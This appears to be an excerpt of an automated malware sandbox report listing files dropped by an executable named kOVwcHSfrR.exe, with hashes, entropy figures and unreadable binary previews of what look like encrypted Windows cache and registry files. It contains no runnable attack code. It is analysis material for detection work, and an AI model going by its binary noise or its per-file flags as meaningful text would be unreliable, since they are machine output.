SHA1:	EEC130F170B0F63FB835AD8F6646C42E885E0058
SHA-256:	207FAC9B466693D45096DDA6C65539BD0BA3159EAB3417B75C014B5EF3600CA3
SHA-512:	B40BCC1A37FE16018C8B7C77835EB914490187AA8A579D97C1E98E62A6410E45744970BDCEBA58DB76E5F03E15DD8FA4CC27477F196CA6E59B767C2B7E132985
Malicious:	false
Preview:	.p@.d.S.O3A.~.U5Y.B..b....:....[..?.....'..gheb..+^.......Mm..LJ.A.ka.^...z'...Pq'x....KP....n.PT.I.kV.m...-.=.2.T.,..:=..`.e..^...G>...!..R.b........!.V....t[...;....8..D).7...g.~^..~..{.uUv..D....6l.9.<QG/g.2$.....`X......o..I).[...?~dN.B5...6/......u..H.8............E........4p;JT..9.\.}(.]..&..Yj2..;qSc\.5&.aY .Kj..{...5n...X2..U.EI...].8.}.....G.T...H.43.8....}....<;.y/".].j..H.31..U\|\..g.H...R....6m..b....\s.k.pq....._.\...w...C2.lVCf...u.....`..Q=g.\|..........X).Y..e'.S.hgB-.+....[...i....-.....;._.\?...o..L..}..=_.}X'.Y.n....&5/...4.r87.....~c..N.^...1SI.......Q.0]._.z ...2KR..~e....KvR..4.q..u.}../.....QG.JU.sn......H.`.....K..z.a1@.b....\A...2V...W-.......<.M...i.5IT..@`...J....)..f~.:...P...1.0.`..37.B..q..G.L.\........fI.OPH...bE....600.....UKw.w..mx.J.....C..U..(...(.~ ].rp....;q?.`&........m...,..6....Ua..3$.5.$(.D...(......&.m..l)....4C....8VsZN...,.......j.....*.{.Xl~&.S...K....7.5....x.^...;..-.O#..G.cd{)...".c.].l.c..&..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9898188742938325
Encrypted:	false
SSDEEP:	384:oyVS/kqsII8i3c/oyuuYTFCX0oFTvyZqBtr7fai21tu535G/UAMU:okS/FL7is/oyhYTFy0yrykYrtAAcAMU
MD5:	9305BB9C06B0FA01C0C0F31C2B467E93
SHA1:	901E078D2C256A16A83ACBD70B796DC14B8B5D75
SHA-256:	FBA91639836ABF0AADF7E836208177EB0C2381390A45CA4F65572531375391BF
SHA-512:	35CDF251D1DCBA679374E8C3AAFAF99714D8E508FE53725C0328C6C9A0AC07AF590E7F94EEB234A8F9F8804F74B8D8CA844C2FEC4C35478F73158D1BE8423DCF
Malicious:	false
Preview:	M7...?\|.....y.:w.Ri.....`..VR..6v....F.......`...S1.\|":r."w).....(.M.?-"v.....!...gv^....N.l.....N...[..uP........9&iL....$.(e....(.R.WZ..IM.......'..d+.b..hn/..Vq..+..W.?h.y...1>.=#z@.....8.....}..q/.....x...l.7.>..}.:...v.._n..P...o..V....aM........qr....S`.s5.@ .FU,E....g7.... .\............,"..'4......K ...j.....3+.j....I..<5..t..F.A..X.E&A.H.....d.G..~h\P9.....k...._...".GL...C.X..o...}..0..s....j.m..~........a.$pO.r...2*.1...........V.H..!3.S.....c.{...T(......p..ao.....`...5...Zq...Y...s.h$.{...s\V../Gc.R.i...8.$...m.a.1....V2pk.x..)4...M+.5._L.s...jb.~..k...f,.c[Jq.>.f.............PQT0......{NA.......\.V...vUSp.....y.p.~.y.ez...F........1I.@..M..%j.....3.C....z.0.(.UI.F?.I.....Z1$0..\{1EV+.X.<....{{..m..Fq7.j9........G;`..%z A...n7!T.U:6@...r..B..m....~..Ap.\|.L.....S$..p.....b...V.....5...z..'.7054j...o...........B...(.0.+..TA..8...b..(.y.Y...-j......[!v..,.._mf(..<.\..0/.:.9.\|....o<N..........6..yU.U.Sbc[.A.S....C..CN.n.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975976545689884
Encrypted:	false
SSDEEP:	192:geMrlBwWOiPNZyk9dBf4Unjbx+2ZODQWIxfmLVk546hCPe14Ao:geM3nOiPXvXBf7V+24Qhxf6Qs
MD5:	67A4E294F32AEC2D1278C4CD515F5D74
SHA1:	02CD33BF39571357E4F8FBAC2B367BFB40E1E409
SHA-256:	2F55C89FA29FC4A99D639F94845039B7236655CB4277129FF1F32EDB55226809
SHA-512:	FA6BE50A271EBFBACAE1EC1D92B806B31FB722E6C1AE6DF864966BF568F97354ADC1946A0650ADD9280758B4CE273B6A799BAC8C6DFAF8476664B4F08E3D3C76
Malicious:	false
Preview:	regf..j..P?..vwl...g0.R.+...`.Y..H.y.......,.........h.h.[.../..V(..2#^Q.....#.`0....\|.&...j.Pi.J. ....v.w0.....8j..x..{.&.6.l.D.B....>.......9..k...P.....~........smCP..O>M.t...HL.jx...X.!..=].0n....%....k...mT......'.....Q.NX....IQ'.\..0...B.....N.4..8..@..2..sb?[.f.D8-.t....^...2.c.x?#'.I...\.ee/....,D.b..&.....+r...............[o....9p..q....l...U...F...4.....T.T..op..w.5..?7...n..0.._.V..wZp.6..T.f...F.Ma..h..c..x..B....s@mY\}.*H..V..X..$p.......qn..,..t..b...s..L\....#.pC.S"O..........E.z..C<.......t..E{............mx.3.....#n.....8M..E3..e.%~U.....].'\.R...=../..\.78........Y.V...&..{..X....3.!!A..J&...M...k.ag..'k?...q.........VP...%N......".g......2.u8.%0\|/Q.(V.....h...n..Z.....Y:. ..cr0?...L.QE..]'W/..'.(...:1.2.........&....\|.........>..}9...G%J.........a!.~0E...C4]/.D................e..S.sH...5..pg.......l6aE[{9.....+A.'$tQ./.`...6..4.,i9......Nx..6..~k.".....8/0...i.......>..(..Z.eE..?........{.....".x..S._.M

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978176162881625
Encrypted:	false
SSDEEP:	192:BLMzGq8goVWT6zZVcWJrX++JSeDSZfVd94rCWuP:d7goEWlVLru+JS7ZfLCrC/P
MD5:	48AA62B3402F8CEC059014D84DC61FDE
SHA1:	3E076D1DCA9480869A531B10B53DA733F40B8CBC
SHA-256:	1C3439C75D26B3817B3A5F43358396F694B8F91F289732BEFF25FF13E78AED45
SHA-512:	3E3475421AAC1791E47364A3DD0792C634593D18820D935D24BCCBAC23399340033ED3679F96D122809A4A26CA538156E4F60B2F55C7EA852A1B47DBAD40CC19
Malicious:	false
Preview:	regf./.......l.Z.....u........9(q...daD.^....QP.^....^...$...........Y...iG;..l.7.2..#...l..G.u.(.7..{.s.U.....X?.I#1.1..o2..=.(.qb.R.}.x..mF?....'...jX....".PV2............=.....b/.......N.......3;.._.4w..V.........P..K..[>..z..]'..)..)aO_...P...#-....j.8^g.......T.@..sw6..AlW_..B[..4\....G......S.<.ibX.N5..=..S......kP..k....3...w..0.V..&.k...5..........L^2......Amd.P?..DA..M...N.A...K.\a..\|1.....4..P..A.um.WX.......n.5%..4F.C.i.......:I..F....5K...)......`CrP0..>......>...,FI.}....K.%J..H....q\|.....y.,F.#.r...].1....G<.%+..."\|\|`X.;..'.8...lv.{..t......A......A.ir...D...!...y.Y....a....)"v..fe..&9..h...r........z.Q....._w.>...?..%.?..&...#Aw z.&...z.o.E.E..c-<^...4..... .l.!\I.....z.2sIq.G......*...e.....$....y,.).P..Q5...i.L.7.....o..k"T.ji.b..=..J..X.[f......... U}Uh:Y.K..C.~../.;..,r.C..>...5.M.5..}B.d.!.&......'i..T.0.G23MfI.X.t.o...}.p.Nw$\|_.c..z"..Pc..h=..F...XF#7...S......@Q.,.......l\..&&[.X.X~\..7.Y.n..,..m..$..z.'..xv.TVd.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977821194571433
Encrypted:	false
SSDEEP:	192:D7ljY7cBb8BBFq7usvgSLbTCuYvhp3NIp31MTpOzzm2fu1:D7lUcSBBFou0zLbHwhpeJ1OOzzmUM
MD5:	41FC4E966D4318E035F56DBE1ACAE6DC
SHA1:	10FAA343653675B08495F389FEBD357401E9D97F
SHA-256:	1F0D0A1B7F3747ED33B2E59C513660AA72538FD0D20504E40D4450FEC6A4ADB8
SHA-512:	616748241DE05C550420B76310282DE5567A404C2807E9B10B228FA0B4C1D538A527B82FDE3A1200175D56621A506940080884F977B8183F8DC32B7E49196323
Malicious:	false
Preview:	regf..xy..K.2.g..... !.~....H..[......Xs.\|g@.f...r...d.fE.{......[/...0.../.M...,V..{Y.......T..V.....\$3$.....3..]..3R......X.\|3.......o9u]L.`8.a...G....?......AAY.>^x.;v.[G......+,.i.$0D.B...q.4....].nF...')i.A...l...Ts'....nq..e.m':.....m......q.sA...\|....LR...s..E.eI.}b.&n{Z...Y8Ez_..K...d..q!...A..i-u....w.f...ptIM.. l.Z..d.#.O.$.)..)..rD..%......~0L..W..7......\..V....F..N.k.!...<7...`a...%.\.e...`..pgx...S.Tc..R;.@U$>Uc.....~`'j.U..0...c.4&Ig.kL..E...Qc...K.h.No<c.$.q#d...1.3...H*.H......^.M....l..@.V_.(.0M..Wa....)..Jy.7.....W...}s&6...R&6V..b.{....W......S...R... yXX.75.l..Q.t..t..../.J...(....(..}8..>...;..}I.).fHM..Nl......Ye......e6..{c..0..u..$w..{P."@.....c......A.....h..........IZ..............zP...".u"...Ou..B.V.^.7...z.[J.......Q.M]...U.z.[L..q....`&..c.xg.....:/....]......a..c..j.:..Pd.R...ad.7X.\|0......IT....HB.Ay.....'s....f..n.....r{NW`\.xI.SQz-.J..S..(.];...=N...dC:.J..+]!.......t...a.....g..eJ..Y..n.t...%.h....irw.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979612679164052
Encrypted:	false
SSDEEP:	192:qvG3g5NftZSEB+n/PlkB6topRS4PB68bTSDawd+R:P3sfbBoOS4PLiiR
MD5:	37D3471FD7B1CB20F51951BFAD16B922
SHA1:	71E3944D92882856AB848EE6A419DE25360D7022
SHA-256:	BD9372BD1845A2DA269912E8FAC2B3649EEA942A1CD26EAA662188A0B54BAB17
SHA-512:	0EC3B4F0D43C2DCC205C423F1964F4AB32E5D7626178F8192C13DA72C13BF740F3FCCE1BC3B0BA62608EB5D4DB23A4A02379A1F680A19C45D13E94F083E5D2F2
Malicious:	false
Preview:	regf.k_.}.#..\..zd.J...{......y..l.(..B...+X.m..>.;....x.QB..xTl.....C.u..C..n..x.z~...3..\~.~.W?.;....D.YY.-i....I...4hq..wW.....?..........b..IBj.T.A...]P.&h.s....nF........s<CL..-..g.`...T..F...E...Nd...v..QS....h..s.m&..!...w.9.]...1..3.].....A+O............l.4k...)..!$N:.r..\X.!.1....[H4..MRhR,..f..-Lo0...W...Z.T...4.......2..-#...f}.{.C....D.\|u%-.....1GnJK.i...Q.mW.}.G(..iC...ox2/...\.}{b(.K>^8..=..6...)..T.....B.._.u.......F0h[....W0..j........l....hW....N....^..HY.....zx9......\@H....I}.P............O.>....../'.....H.c.G....s.P.v..f.....0yB@mWN...C!;..l.N.;.\.g.i-<.Q^.o7.t.r.X...."....#...Q~G.f9q..^.......;[.:w}.9`..K..TQz.J..)..).TB..=...i...T.....0iJr.'.v.*..+...\2....:..vcwJ.^O?H}..~^G..;[$..[...=oQQ....{.r....@...y#.V...._.HHdJ..^.f...c.7.....l..K)....+...1.8.xtj:I.....G..V7 Kb..s.......K\|/.d..=.6."\|.6./.....N.4Du....l...kP.........e.c. ._.E.Knb%1..B8R..'...p.Xu.&....68j\|/,...]j..&..jo.....T.......z......i.7.R.8.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979385576785193
Encrypted:	false
SSDEEP:	192:Db6WskrbjDZ8jokCp4+QU5NZkL4rn/gI8u3D7QPZ43diAvB8vxI9GQE4jMH:/AMbh8jo5oUHZoin//82wPZ43dLCvxnZ
MD5:	8E0B4F6552E17C9F0AABC2FB76454443
SHA1:	EED7D23B49C6D48744FC74BC8EA9878BABD57A9C
SHA-256:	2F55CF25E8368836BCEA6908C01E1E82F837B6FD4897B33FF72A5EC9234A567F
SHA-512:	0757C13A942256962FBED3DBEE2B83A5F951CA682137C262FBB2A23FB0A5A3AC0977E303B9A5E5A8F90F596DB37CE691DE2E4C70F9FAF733F6CEB0F0DD529E14
Malicious:	false
Preview:	regf.T..lZ....I.-..U.....G?Ig>u...7........q...a.(..[BN.o..s-.Mw.......H..W`.2/..}.d..\|\|U.-D....0Of!......y..G..H.U...d.r.'&.B.2..bi..r.+.....58.....q._.0..=.j{Y...C2.3..oWi.^..3z...).K..rPhh.=M....2.q....-./:.hJ...S.H.6.&.eA.....\|.VQ...D....~].$....Xa.UT....1...~..a........ ...Ow.64."X . ..j.</.&.....Y.C..f....}..=..CH..}.o.K.yx..].Q.....Yd......Z<.Vv..6!........vh.w.2.'.h8#;...~....zsk....V.A"S..7..[.M......40`...h.L<8.p..6Z.{....CO.R.w...Y...6...)...\|.z..[.5..@.d\| .j<.!_sol..jg..Np.b....>.^.("g...F..HBqL.@...b`._......r..S.....d....3....Av1....Jf6.K.. .M....\|K...a..a?...1.u......w.....77..1...#}...?H..i.jR&.w...\|,e...&..O.VP42...N..Fz..=.,<.e..F'....3$..:U......wb.......9.m.v...."..V....o#..N......N..4....\.r.P....Y..q'`.Y...o..[.(......]........b7.I.].....tGA.^.NT7.'nH...bi.Q..P4u_.-]..,.....M...w..l.`.<W...u..\|.y.}C.=.M`#.G..C.Jt...(.'....+H."....t..FoN.c.......Q......u.~.[........r.._..{`B.S..._....w.Y..\BS2k#.H.@.Au,k..`..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3302200727376643
Encrypted:	false
SSDEEP:	3072:vqXviBjC/ErPOn563BiI1pgkPClSaP5scKUsV/X11JbuQU84Q74hM+aSar0aY:vq/k+/cPOn5iB1Kc1HV/HJLZ4jb
MD5:	EEBA7E9629C17A3A1338DE1D549BE736
SHA1:	8092B05D6BC03C5E427E0684EB02712E6F90E5F6
SHA-256:	A0E2D3AEE370F6ABD6160003886D7D7296EEB8F9947F7C211994882805B05B7E
SHA-512:	17F9C7BD4719766BCA56A78856FA0DEA350B23C889D96722FD0A1ADDC6485637DD3FCDEF1691B56AC3C36635F049AD7A7CB8430B84A6C661721B38E39DE8D807
Malicious:	false
Preview:	.q.d...S........\.S.8.n.......u.$....w.n&g..X\By.nbx...p..#.q.R..h.T.v......<..PVG..$....}A.B...)6W!J........7.2S]..@>.t..W.+.p'..v....p..n..Q.............$nXR.l.n..(.BN...".....8p..K.A../...^lz.M_..7....c.sY..S..K\./..D...)oNw..V.P......).f.-.3~.l!..X.lR.....r..:.,.M..}..a....I...D8:.$.. .c.,..z..v..(.}M..$..7R.:.J."..C...SA.g...i...(.m.0E.'.........4.L..:.@DL.....\......h.....T.{...Rl...p.<u..P.v...IKlUU.......H0=,....De.7.J .[......E.\|.N..........E.gZ.$a1.~..Ac.<.......2.&m...-........]...'.n6Q...Q......D..q.Pk. \|...g.x.cSdq......z......4..........b.)..."...-.r..E.../Nx......N.....U..R..n.#...._..Q._s..c.+...k.(.WE,S......R..I...r...t.{.=..W...N.,...k......g.dZ>...,;.t.c].O.\@...L.......].&...<6#.ce]Yf.".GY.F......eK..w.h.4b{v.w...\..5m.cr%dl...O..W..$.;.5.:.......wY.....\m.H.....S.<.\|.XFB.b..vB,..@v\|.....]......../.,...n.o.1...\|d......e..X,..D.b:s...`k.yC..n...?....).....G..j..M..l.l..h...$8.<.>.s..F;...)...z..e

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98805095000138
Encrypted:	false
SSDEEP:	384:YEO3thz5YI8mz0SVe4ErAUGpopxkvwsVuwU:+f5YI8mISovnGpo+we3U
MD5:	E08F67DE012FF0CA6D2F3E5C7F0D8045
SHA1:	10DFA5A09C0C9BB96E16317CE9A926251E762A72
SHA-256:	F7A319AA8E7CAAB891ED829750F03BED070B93E0BF579D77C0E32126B85F0521
SHA-512:	68D60DF6905BC7675FDFE5EB5F30F66ED5C022C296CC0342277A55C1622CC5FFDB8D7327ACC0022367ABC48BA845DDEFBFB5578F399BF0D1E37E39C8B542E193
Malicious:	false
Preview:	:2......@0.PN.PO.....Hp%....]..c&%....S...P....?.2....?.]..C{.<b..om..\|9...[(....iV..Iy&..e.Y.JH. ..y...:...Q.Z.R?.r...r...VRe..._....o..b..>..7...!.j.YD.&.L.h......O.~$..{....phFI..kK.TK.x..P....4.@....N6(ngO..[t..YX.R.V,. 71.'.;.<....i....y.;.(.w...~G..p.....=.Jf..~fc...a..F.}.o.8{..jC5L..P..w.tE3@....4...y.....c.."O......Zt....[......ZM.1Y..FH.F.i.....C....J..Q.Q.).$ic+Z:)...;.....N.......3..(67.....o.Z. ....voP[...Dq.F.....p ..N.x...N...\|_.q.Q......1...W[.(..}..v.._n..zk.(. gQ..&1....m..4f...\|c..B.@....'./.wV....rh.N(..G...^.'.'....ZM...6r..?.3>.jr...C.=....@..i&.h........?..4.."..U....4......\.:j.b.\|...E>J.J+..aE......:z.r{..0n..cN. p..\.xYu0...$.+g..o..6.s"..x..z.....d..8sD....aCmq........a.Q].?.P.O~.J....4.....3.....s.d........w-.`...T.F....jJ.....3%.......A...u.B/..O.ON.\|...._.A."....%..X..vY..P....}..K7..........o......LQs....{..e.x.ja..d...@^...4..f1....W.Jx..~..M.d...b.,....#...B..,gq...QU...r.JW.C...c.;.+M..}..O.T. .....W'&.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\66903243-5b5f-4861-8218-1958e9be202c.b1ab4211-cb57-4a8b-b085-d4a2dbb25960.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.88672067450856
Encrypted:	false
SSDEEP:	48:sGyoDxrLc+/jrkzZNvVrkRi/mSVjBeGVayD:1t/MzDVARi/mMBeGVaa
MD5:	78FA68F1951AC5DE416FE39979377B93
SHA1:	FD7CAD0511769E2BCA68CD0356C2F04CAFD14463
SHA-256:	77707058512B5AB49E5CF57B8391D630CE99581831608F258EA4B5125168C773
SHA-512:	7B6B2AE4C7E9C8869433DFDBDB99F2DD7055650F2C2140BCC038A8545808305950086D487472FCEC7394930F11CFBF88064662692A5E4B6F788C29A48920EB24
Malicious:	false
Preview:	h.t.tD..j...x._\u.C<.... .D.....$....?..\| H.....A.:...S.9.u.\|m.p.+..~p[#V.Y....YI..+B.@k.......(^...T.I.Z4....PW.........?......3.e8.G......@...Gg...E[2.X0..3....e!.V.8OoU...x......q..~.e...._..}.1.u~...?\P.Il.....=l...E..x.\|...j.T..... s5.{.X..ta../T.s.,..`.S.....!....GyH.....oB..F.K.....Lj$.cc=..&TG;.\8n.zK...\|.z7...;1.\|.......q.....&...L.7...Z..5.....[7-'...(a<r..!.....+[.F..g..i.by..P.M.B.j.;.2.M.,...<.TCW.x7}.{kUA!...U.Q0.Z.6..b.%.#...j..`\|..VX.!.<oo2....4##.5.`.&.L.9".C..."F.......0h.s...Y..b.........o2..H..S.x../..,%.a.....^qY..`....64.".QN..V..W#w....Q....D.c5j+6....T:....v..v.z.,...a..Ac..j...5.}~.I.R.].^.#..^){.{s"U....q,.X...]....[..#...xC...IY...<.....5!0=.t{.2.{..?..M7\|h,.?.h..I.9....n..\|.q..Wl..j_;.e6n......Aq.Q...^.....x..RT.300.K.L..s..4...-0T8..w)...j.L.......xW.!.%.X.M....[.7I56..'....>~.....J:........E.9..G2.N.c;T......S.-c..a~.........z&..Qbck....c...>\\|...J...~....F<....UB......d]z....B....:2.2.z7.52...0"...3T......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\66903243-5b5f-4861-8218-1958e9be202c.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.721129743598272
Encrypted:	false
SSDEEP:	12:Kex5CRHOzJtMCmy+5sffI8E87BWS0OC3SW0xyB0EOkWY3o0CziV24SUiFzwbovFc:AOJIqIrYBWvSq0BrWoDiA4SUsfw1bD
MD5:	7E14972CE3C407E9DCF74F8BC058C3CA
SHA1:	6CB46D9AB9D60BE7F2F6B507BDCBDC4D0F523CE6
SHA-256:	6142889A7CB7FB5E6CBFFFCD3D3BDB009D5846BF4F5CDAC60E71E0F93894D861
SHA-512:	5CD4ABADB95650ACDBABE5A2777D0C6AD4E4BE790B070E79A9362C64D6956420B0C343555D90B3B1A10978B0F28D64128238C634D2A19B3BBC6D11C95A5FEA26
Malicious:	false
Preview:	........i....>E.kP....,.;..$.\3..4=?O.C..V ..%..d...wh...)...ID....^.YHP..6.UKQ..hh.gB..t.7R.......F..W..~.... g..d.=.......D.[....+.......h;2..H.}R..6G..P.%..ro.V ........8..;..j..G[....x6.....D.....&....R.6....ig:?.eG[...?../....x?aq0...U......g.....x.YdI9...Y.... .Lh^.....[........].6W.+../..c]GC....n...R6.qc...V.........xap..2x.w..i.O..g..,...+.cq.{..r..._O.F.V...Qm]-.tH JY......(...&.....[eJ.......2j.....!.VJN........Ii'>.Q...s.>....,R.H.>.....5C..y.r........)....S..I.4..5..............f.\x..z......w@.N.e r..0.M.......7-....t........N.....,n=~.]..b..d.....1.-._.`\...u..Sw)......o..."@.~.2......i...rT...T1E.W.+D....f...&s...=s...?....OD......a#... ........e...*.(.S3...nYN;u..w..5W..,...J.. ....#}t4.HTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8c530df6-87a5-4487-a673-9f530e3ffa7c.cc26990f-3e86-4007-ac83-6b83ee814139.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.908340784852818
Encrypted:	false
SSDEEP:	48:EmzAfgpYgZPm8/gTalwbV8y40QCQG6oc50yMJwLoCAqnHYCryD:bz9iqmDK1lCaWXJwLTAOYCra
MD5:	094C528E9AA2AFE1D22F5E8D9BCC3654
SHA1:	6DE59654569268C22A019F00E601E15C652D6E17
SHA-256:	890998939FDE88D8AD14B90EF6B2AC0FD736DA39BDA79AF671E7B2D37334BFF5
SHA-512:	FD01AD5345DE47A2F12DEB70D6194816C054AACB8029016BC94E61CD9613CCEF6B14374B08786D30B583CAFA973C6A0E9D03B7BB3B41B2C7965B75C4822C327A
Malicious:	false
Preview:	h.t.t>C.=....X@XQ.n.$...B....d.Y...K..`"vzM..x..I...Q.=d..F....r.`$h..!..j..@.Y..$..^.#.&...&.M.......D..53.jJ..N.....0.3.....=...;-...~..yA.Q1.....B\|d}v.)tiZ.J.N}uZ.^....0v....^.h.W.....P..D.=..S.@...L..p.....YQ4H.n.o...,).....m..^..YB.D\|7...;.3.....`..{.^..`c....D..7.....x.....D.........W..9....@......+.......~...=.8.a.L..c.`@..Cp$.<.n..U?...g...>..._E.}i...4...niC.....z;..p.............A..nJG.}.-...._.R..+.1..G.... ....,..^.N.t......8...\.F....:.A.T.......CV..py.<.n...P.P3Z....#..../N.).b&.K.A..qx...U.I........Lx.SH.,..SP"...w.4...u..M.m.....i[...F..^1b).........z......x>)T.lY......v.-......t...Q..1.sZ.=....\.6gy.-.}.58.......0}......L...3....r!...V8....K@...(...t....9ri.?%-.Q.....%x.C.-..y=.?...T........-.xQ.J........v.soW....Z..\|...z.lX...s..?...\|..1O.#.d...M....EX..(..s. j.....z....Z-...0T.h.......v...D..E...:w..wa.V..Lu!6H....g'Dz...?..z....:d.......0..'..n.a....:..'x:.\...*.2.......X[....H.....67.uIeuy... X.y..7..W......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8c530df6-87a5-4487-a673-9f530e3ffa7c.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.70305837196728
Encrypted:	false
SSDEEP:	24:FRV410JGwXBfMhgjfRXfJrlXul/EE0w1bD:FDQwXlMm9BrlK70yD
MD5:	760C9F2B0AAF865FEA72437A9F4F3B30
SHA1:	B08847C308E690417DD4FE6AF43789DF691A07CD
SHA-256:	E76EB7069341653279EE823F90EA4B5704C8AF70C3F856F005D5602C6EED53A5
SHA-512:	EEB7C07F3DA8EF08694B28303A1F2879746A23B5ECC3CB4AB0B5EC34313AB47A055D0C55AF0C1C76A52340470AD65DA192D4B0F131F49B28A25A4B7E8D7362B7
Malicious:	false
Preview:	..........V....6.c.t..y...! ..{...Z...J.;...6....2...l...W.3......{5J.1.V.M....3f.!..{..n..g.}.....z.q.. .[.5y....T. ....#.,...xb)...u..%....q.......#.M..y..&...10.E....a...XM.9st........&.1......!]"...&.TWe"......y.Q.a..\|..D.Y..qg......u;.`_....V...s....{..E&.LYQ7GK.........@........i K.n...F......7.~:.{}.._E..Yr.c..@...\|.M...OqN..#O'..d..O......f.....}..qj..@w+K...Xu...X+'..MA:....cM>..7.k..*..<...U._.).B.7._..sOA2.t.<....B..v.JJ......l..).`;.....y......l.. \|...U..!d[.......z...._1..g.Q.Ra9=. ..6d+.....W;@.._.3..q.D.k.II.yK.,x..g....]...`4..^..b..>.U.3AJ.....`_...>.k...YI@....c_.0o..z. v.f5.dF...)a.+........4...%.C....+....$.Aa.7Bb.......Vjmz...V......9j.-.'...t...k...P.'...d....._.bI...R=.z.Q...!3.k.]F.V.zBbK.1.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a58a5a01-c8e8-46a7-adab-33a3c728c70b.892288d0-3e11-4bf6-bff8-34fe53aa0cd8.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.900412669545907
Encrypted:	false
SSDEEP:	48:9mEAvr/qQu7K38c04qKju/3vqSvOEt4kWc/y5g2EwEwn2ERIkQ0aq+D1PQyD:9svjq/K3HvdjKfhvnt9WcK5ZDNT5aq8t
MD5:	C88BCD637C011DA35F14BEF2698DF0BD
SHA1:	8ED25FF55051BC9DF26F27A6A0A750BDB9DE5FC8
SHA-256:	0FE57CB7ECC9A2A0EEDA3CE9C1CAA066FFA682F6B55D67C381DD3F514848FAC9
SHA-512:	DB0D8236345CD797DAE3C201AAB69B274955E33F75D4959FF6A7CF085A19937E2281A2032E6D2B5D06A8F404E672F3C0CAD14051F58A8A8CC56EF182D9EFED2C
Malicious:	false
Preview:	h.t.t..Y0...f@..u.g.Fa.....X.:.e......o....in..#.<..&..v,...T$....9.}.Oj..<qu.........`i........3.......E.Y...>RZ......r.<\|.=..!.I.+$.J..2).5{...$.bMe..~....?O.@..@.....kl.C.../.V....B...qu.4P.....m......h3...t.t..?....C_...$....>..:.. .O...N.W.iC........I..\.0Kz.O..2..v...Qz.R.)5...I........S.R.....w...(...H../-.....5(NCV..M4..>..(...E.d....Rg0u......L\.Q<Jm`......0 ...........^.)K..&."YV..-{...U..S....U'-SAs.k..}..].j..\|E....KsA..."......h..l.........79........R.6c%.....>..1.9>.L.%..V~......u....w......8....x..l.b..e.J.X.d...8...Y.h...(...!.d.Y..t...5.?.XD.r\..?Qw..........%..o.... ........AoB..E....cpe.n.. .g../2....'h..G.x.>.\|.q........h.......x..YS...s.s.k.....}[J.-J`......p.D......Cy.#.J45..9..X..cB."..\. .h...N.x=.c...i24...~.,...N..f...uw....k.VG...L.C.}I.-..."{.[......4i..C.W. [...R-......h5.Qr.J...E..f. ...B...P. .....;.o.GT..q..../..a...):.,r;.!K.[.q..@.S...MO..Q...5!.2Uwi..Z=.:\l!.E..wjR.Ujr..P.uZ]..nC.f.)&.sok..

